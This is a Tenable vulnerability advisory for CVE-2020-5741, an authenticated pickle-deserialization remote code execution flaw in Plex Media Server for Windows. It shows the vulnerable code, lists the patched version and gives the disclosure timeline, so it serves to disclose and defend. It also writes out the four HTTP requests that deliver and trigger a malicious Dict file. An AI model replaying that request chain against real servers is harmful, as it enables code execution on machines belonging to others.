Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Plex Media Server Authenticated Python Deserialization / RCE (Windows)

Medium

Synopsis

The Plex Media Server plugin framework contains a flaw that allows a remote attacker (authenticated with admin privileges) to execute arbitrary Python code within the context of the current OS user. Specifically, when a "Dict" file is loaded for a given plugin, the contents are unpickled without validation. The Dict file can be delivered remotely via the camera upload feature.

Let's first take a look at the unpickling piece.

This logic can be observed in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plug-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Dict.py:

def __load():
  global __dict
  path = "%s/Dict" % Data.__dataPath
  if os.path.exists(path):
    try:
      __dict = Data.__unpickle(path)
      PMS.Log("(Framework) Loaded the dictionary file")
    except:
      PMS.Log("(Framework) The dictionary file is corrupt & couldn't be loaded")
      __loadDefaults()
  else:
    __loadDefaults()

And if we observe the definition of Data.__unpickle in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plug-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Data.py:

def __unpickle(path):
  f = open(path, "r")
  obj = pickle.load(f)
  f.close()
  return obj

It's clear that the pickle.loads() function is used to deserialize the contents of Dict. An attacker can craft a malicious Dict file such that when it is loaded, a payload of the attacker's choosing will be executed.

The delivery and trigger mechanisms require a few steps, but this can be automated. Here is the general flow:

  1. Create a photo library at C:\Users\Public (can be different).

    POST /library/sections?name=EvilLib&type=photo&agent=com.plexapp.agents.none&scanner=Plex%20Photo%20Scanner&language=en&importFromiTunes=&enableAutoPhotoTags=&location=C:\Users\Public
  2. Using location ID from response, upload Dict file in this library. The directory structure will be created.

    POST /library/metadata?createdAt=1171387901&filename=myfolder/Plex+Media+Server/Plug-in+Support/Data/com.plexapp.system/Dict&overwrite=true&locationID=8&sectionID=3&type=13
  3. Modify local app data path to point to this location

    PUT /:/prefs?LocalAppDataPath=C:\Users\Public\myfolder
  4. Restart com.plexapp.system

    GET /:/plugins/com.plexapp.system/restart

Proof of Concept

auth_dict_unpickle_rce_exploit_tra_2020_32.py

Solution

Upgrade to Plex Media Server 1.19.3.

Disclosure Timeline

03/31/2020 - Tenable reports vulnerability to Plex
03/31/2020 - Automated reply from Plex. Will be reviewed within 3 days.
03/31/2020 - Plex thanks us for the report. They will get back to us as soon as they have an update.
04/01/2020 - Tenable ACKs.
04/03/2020 - Plex doesn't think it's an RCE because the user would need an admin token. They are planning to make some changes though, and want to make sure they didn't miss anything.
04/04/2020 - Tenable emphasizes that this is an authenticated RCE and explains why it is severe.
04/10/2020 - Tenable follows up.
04/22/2020 - Plex has deployed this in an upcoming version. Describes their fix.
04/22/2020 - Tenable tests beta patch. Vuln not fixed.
04/23/2020 - Plex indicates that the fix should be in 1.19.3. Shares an alpha for me to test.
04/23/2020 - Tenable tests the alpha, and it mitigates the remote code execution.
05/01/2020 - Tenable asks for an update.
05/05/2020 - Plex says the goal is to release this week. They will release a forum statement too.
05/07/2020 - Tenable acknowledges and shares CVE number.
05/07/2020 - Plex publishes 1.19.3 and releases a forum statement.
05/07/2020 - Tenable acknowledges. We will publish our advisory today as well.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-5741
Tenable Advisory ID: TRA-2020-32
Credit:
Chris Lyne
CVSSv2 Base / Temporal Score:
6.0 / 5.0
CVSSv2 Vector:
(AV:N/AC:M/Au:S/C:P/I:P/A:P)
Affected Products:
Plex Media Server prior to 1.19.3
Risk Factor:
Medium

Advisory Timeline

05/07/2020 - Advisory released

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training